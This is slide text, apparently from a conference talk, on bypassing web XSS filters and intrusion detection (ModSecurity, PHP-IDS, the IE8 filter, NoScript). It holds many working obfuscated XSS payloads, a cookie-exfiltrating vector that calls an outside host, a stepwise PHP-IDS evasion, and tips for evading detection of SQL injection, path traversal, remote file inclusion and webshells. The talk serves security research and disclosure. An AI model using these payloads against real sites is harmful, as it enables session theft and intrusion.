  • 47. ModSecurity The filter will catch: <img src="x:gif" onerror="alert(0)"> but miss: <img src="x:alert" onerror="eval(src%2b'(0)')"> and <img src="x:gif" onerror="eval('al'%2b'lert(0)')"> and <img src="x:gif" onerror="window['alu0065rt'] (0)"></img>
  • 48. ModSecurity The filter will catch: ";document.write('<img src=http://p42.us/ x.png?'%2bdocument.cookie%2b'>');" but miss: ";document.write('<img sr'%2b'c=http://p42.us/ x.png?'%2bdocument['cookie']%2b'>');"
  • 49. ModSecurity •  Good for novices to practice against •  Other types of filters (SQLi, Response Splitting, etc) are just as bad •  Has potential... if filters are strengthened
  • 50. ModSecurity •  http://www.owasp.org/index.php/ Category:OWASP_ModSecurity_Core_Rule_Set_P roject •  Would be a good place to start, except:
  • 52. PHP-IDS Advantages •  Attempts to detect all attacks (not just common attacks). •  Easily catches all basic injections •  Open source - a lot of people "hack it" in their "free time" •  Well maintained - rule-sets are frequently attacked and improved •  Codebase supports a lot of encoding algorithms
  • 53. PHP-IDS Disadvantages •  Sometimes false positives •  PHP-dependant ("ported" to typo3, Drupal, perl) •  CPU consumption
  • 54. PHP-IDS •  Developed by Mario Heiderich along with Christian Matthies and Lars H. Strojny •  Aggressive blacklist filtering •  detects all forms of XSS imaginable (and more) •  Each injection is given a score based upon the number of filters triggered •  Filters have greatly improved over past 2 years thanks to demo.phpids.org, sla.ckers, and Mario who frequently updates
  • 55. Filter Examples •  Filters are very targeted •  Has 68 filters in addition to the one below (majority are for XSS, not all) https://svn.phpids.org/svn/trunk/lib/IDS/default_filter.xml (?:,s*(?:alert|showmodaldialog|eval)s*,)|(?::s*eval s*[^s])|([^:sw,./?+-]s*)?(?<![a-z/_@])(s*return s*)?(?:(?:documents*.)?(?:.+/)?(?:alert|eval|msgbox| showmodaldialog|prompt|write(?:ln)?|confirm|dialog|open)) s*(?(1)[^w]|(?:s*[^sw,.@/+-]))|(?:java[s/]*.[s /]*lang)|(?:ws*=s*news+w+)|(?:&s*w+s*)[^,])|(?: +[Wd]*news+w+[Wd]*+)|(?:document.w)
  • 56. PHP-IDS Developing a Bypass eval(name) Injection Found! Overall Impact: 17
  • 57. PHP-IDS Developing a Bypass x=eval y=name x(y) Injection Found! Overall Impact: 12
  • 58. PHP-IDS Developing a Bypass x='ev'+'al' x=this[x] y='na'+'me' x(x(y)) Injection Found! Overall Impact: 46
  • 59. PHP-IDS Developing a Bypass $$='e' x='ev'+'al' x=this[x] y='nam'+$$ y=x(y) x(y) Injection Found! Overall Impact: 37
  • 60. PHP-IDS Developing a Bypass $$='e' x=$$+'val' z=(1)['__par'+'ent__'] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 62
  • 61. PHP-IDS Developing a Bypass $$='e' __='__par' x=$$+'val' z=(1)[__+'ent__'] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 27
  • 62. PHP-IDS Developing a Bypass $$='e' __='__par' x=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 18
  • 63. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' x=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 14
  • 64. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) Injection Found! Overall Impact: 07
  • 65. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) 'abc(def)ghi(jkl)mno(pqr)abc(def)ghi ' Injection Found! Overall Impact: 07
  • 66. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) 'abc(def)ghi(jkl)mno(pqr)abc(def)abc(def)...' Nothing suspicious was found!
  • 67. PHP-IDS Developing a Bypass http://p42.us/phpids/95.html •  This injection worked on 24.July.2009 •  Was fixed shortly thereafter
  • 68. PHP-IDS Other Recent bypasses: <b/alt="1"onmouseover=InputBox+1 language=vbs>test</b> •  Courtesy of Gareth Heyes this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/ +name,new Array) •  Courtesy of David Lindsay
  • 69. PHP-IDS -setTimeout( 1E1+ ',aler t ( /Mario dont go, its fun phpids rocks/ ) + 1E100000 ' ) •  Courtesy of Gareth Heyes (maybe he's a terminator like XSS machine?) <b "<script>alert(1)</script>">hola</b> •  Courtesy of Eduardo Vela
  • 70. IE8 XSS Filter http://www.microsoft.com/windows/ internet-explorer/default.aspx http://blogs.msdn.com/dross/
  • 71. The 3 commandments of the IE filter 1.  The Filter must be compatible. 2.  The Filter must be secure. 3.  The Filter must be performant.
  • 72. Compatibility > Security > Performance •  If its not compatible, users will turn it off. •  If its not performant, users will turn it off.
  • 73. Performance + Compatibility HTTP/1.0 200 OK Cache-Control: private, max-age=0 Date: Sun, 11 Jul 2010 01:23:45 GMT Content-Type: text/html; charset=ISO Set-Cookie: ASDF=123 Server: Apache X-XSS-Protection: 0 •  If its not compatible, admins will turn it off. •  If its not performant, admins will turn it off.
  • 74. IE8 Filters – How it Works •  Scans outbound requests for key signatures •  If matched, server response is scanned for the same matching signatures •  If response contains match, response is neutered i.e. certain char is replaced with # to prevent injection from working
  • 75. What does this mean? The filter will protect against the 3 of the most common reflected XSS vectors: 1.  div>$injection</div> < 2.  input value=“$injection”> < 3.  <script> var a = “$injection”; </script>
  • 76. Q&A Why aren't fragmented attacks detected? Performance, the amount of permutations of each argument and possible vector is of O(n!), that means that with 10 arguments you need 3628800 operations, and an attacker could just send thousands of arguments to DoS the filter, also this is not as common as other attacks. Why aren't DOM based attacks detected? Compatibility (JSON probably) and Performance (hook all JS functions will slow IE even more.. if that's even possible), but it may be possible in the future. Why aren't non-JS attacks, like <a href...> tags, detected? Compatibility some websites are vulnerable to XSS by the way they work, and they need to use this elements. For example, some blogging software allows posts to be uploaded that contain anchor tags.
  • 77. Q&A / continued Why aren't attacks to the Intranet detected by default? The Intranet zone pretty much by definition is a managed environment, unlike the Internet. That means admins can set group policy to enable the filter in the Local Intranet zone. [...]The Intranet zone is disabled by default on non-domain joined machines. -- David Ross If IE is protecting me against XSS, should I disable all anti- reflected-XSS protections I have? </whitehat><blackhat> YES, of course! please do it. </blackhat>
  • 78. Bypassing the Filter We will show the remaining Top 7 reflected XSS attacks and how you can attack with them.
  • 79. Unfiltered Vectors – Top 4,5,6 4.  Fragmented ?url='%20x=`&name=`%20onmouseover='alert(1) <a href='<?php echo htmlentities($url);?>'/> <?php echo htmlentities($name);?> </a> 5.  DOM based /index.php/<script x>alert(1)</script>/ document.write("<a href='/suggestToFriend/? p="+location.href+"'>"); 6.  Inside event attributes ?id=alert(1) <a href="#" onclick="deleteTopic($id)">
  • 80. Unfiltered Vectors – Top 7,8,9 Reflected XSS means that the matched attack has to be present in the HTML source code. 7.  ttacks that were filtered incorrectly A Demo with weird JS escaping 8.  ttacks abusing charset peculiarities A Demo with unicode stuff on PHP {0day} 9.  ttacks that are not reflected in the same page A Demo with java.com
  • 81. Unfiltered Vectors – Top 10 10. Attacks that are made to content not loaded as HTML Demo with Motorola SBG 900 router that •  changes the DNS servers •  disables the firewall •  makes the admin console public •  changes the admin console password •  removes wireless encryption •  and logs the MAC for cloning {0 day} And for good measure, this also bypasses NoScript
  • 82. Other Exceptions * Attacking intranet websites (on domain-joined computers) is possible (the filter is disabled by default, but admins can turn it on at any time). * Websites attacking themselves are still vulnerable, so reflected xss worms are still possible. * If you do clickjacking, you can bypass the filter. Put Demo Here
  • 83. Bypassing the JavaScript based Filter * assumptions - it's impossible to execute code without () and = * as far as everyone knew, it WAS impossible to execute without () and = * toString, valueOf properties/meaning DEMO * we are limited to attacks inside JS strings like: urchinTracker("/<?=$storeId;?>/newOrder");
  • 84. JavaScript based Bypass •  ---speaker notes--- •  Microsoft fixed their code and allowed me to test the fix. •  I tested it and it fixed the issue as best as I can determine. •  You can expect it soon. Other possible bypasses? -> It's also possible to run some functions with "new" but it's nearly impossible to find an attack vector. new location.reload // wont work new history.back // wont work new open // wont work etc..
  • 85. Attacking with the XSS Filter Recall: the way the XSS Filter works, is by searching for dangerous strings in the request and then looking for them in the response. If they match, then the filters disable those dangerous strings. So you can use the filter to disable <style> <meta> <form> <script> <frame> <iframe> etc in the page, just by appending its code in the request (and trigger one of the filters) Demo!!
  • 86. XSS Filters in Other Browsers? Firefox -> Never! They have CSP and they think that's all they need. Firefox + NoScript -> Going on a couple of years now! Opera, Safari -> No idea! Chrome -> Maybe!
  • 88. NoScript Advantages •  NoScript users are already security-aware, so they prefer security over general usability and ease of use. •  NoScript's goals are different from common XSS Filters, it uses a paranoic point of view. •  NoScript takes leverage on the fact that an attacker is limited to self containted XSS attacks. •  NoScript is not just a XSS filter, is a security solution for Firefox.
  • 89. Bypassing the Filter's Rules As any other filter, it's still possible to bypass NoScript's rules, the following attack bypassed NoScript's rules: <a z=%22%23%22x=%26+onmousemove=t=Object(window.name); ({$:%230=t,z:eval(String(%230%23).replace(/@/g,%27%27))}).z//%3E This was fixed last week: http://tinyurl.com/m4nfs9 http://eaea.sirdarckcat.net/xss.php?html_xss=%3Ca %20z=%22%23%22x= %26+onmousemove=t=Object(window.name); ({$:%230=t,z:eval(String(%230%23).replace(/@/g, %27%27))}).z//%3E
  • 90. This hasn't been fixed! Found 10m ago find a bypass 10 minutes before the talk! if I can't.. then.. it doesnt matter haha if I can, notify giorgio haha <<david: umm... good luck with that Eduardo>>
  • 91. Hacking the Filter The DoS and pwn on NoScript (for bypassing) The following example: http://tinyurl.com/krgd3a http://eaea.sirdarckcat.net/xss.php?hello=a-very- long-and-complicated-js- string&html_xss=<script>alert("pwned");</script> Will DoS NoScript, and then firefox will kill it, and then your victim will be redirected to your "pwned" webpage.
  • 92. Same Origin Exception NoScript wont protect websites from attacking themselves, so frames pointing to a redirect that sends to the payload wont be detected by NoScript: Example: http://tinyurl.com/l5rnyc http://www.google.com/imgres?imgurl=http:// tinyurl.com/ZWZ8Z4&imgrefurl=http://tinyurl.com/ ZWZ8Z4 and http://tinyurl.com/ZWZ8Z4 redirects to https://www.google.com/adsense/g-app-single-1.do? websiteInfoInput.uri=ZWZ8Z4&contactInput.asciiNameInp ut.fullName=<script>
  • 93. Tribute to the stupid IDS Thanks to pretty much every other WAF vendor out there...
  • 94. README Follow this simple rules and a lot of IDS wont detect your attacks! Victims include: REDACTED "OMG I can't believe it is so easy!"
  • 95. Rule Number 1 For JS-XSS probing, stop using alert('xss') you should now use prompt('xss'). This will bypass: -> dotDefender
  • 96. Rule Number 2 Dont do <script>, do <ScRIPT x src=//0x.lv? This will bypass: lots
  • 97. Rule Number 3 For blind SQL injections stop using ' or 1=1-- -, you should now use ' or 2=2-- - This will bypass: lots
  • 98. Rule Number 4 Dont do /etc/passwd do /etc/asdf/../passwd This will bypass: lots
  • 99. Rule Number 5 Dont call r57.txt your RFI file, call it lolcatz.txt This will bypass: lots
  • 100. Rule Number 6 Dont call your webshell c99.php/shell.php/cmd.php, call it d98.php This will bypass: lots
  • 101. Disclaimer If you are a vendor of one of these products, I suggest you to spend the money you would use suing us, to hire someone that knows a little more about security. kthxbye
  • 102. Conclusions •  For Internet Explorer, use IE-8, and enable the XSS Filter •  If you can use Firefox, use Firefox+NoScript •  If you need an IDS for web-threats {xss/sqli/etc}: o  don't use mod_security until filters are better o  use PHP-IDS •  For sanitizing HTML, use HTMLPurifier/Antisamy, or use templating systems! •  If you have build/maintain an IDS/WAF, set up a demo site where the filters can be tested and bypasses submitted, please... •  Don't trust your IDS, it can and will be bypassed!
  • 103. Thanks Thanks goes to many for helping us with this presentation including: •  all the slackers at sla.ckers.org, RSnake, ID •  David Ross, Mario Heiderich, Giorgio Maone •  Kuza K, Stephano Di Paola, Gareth Heyes •  Ping Look, everyone else with BlackHat •  Everyone here for attending! :)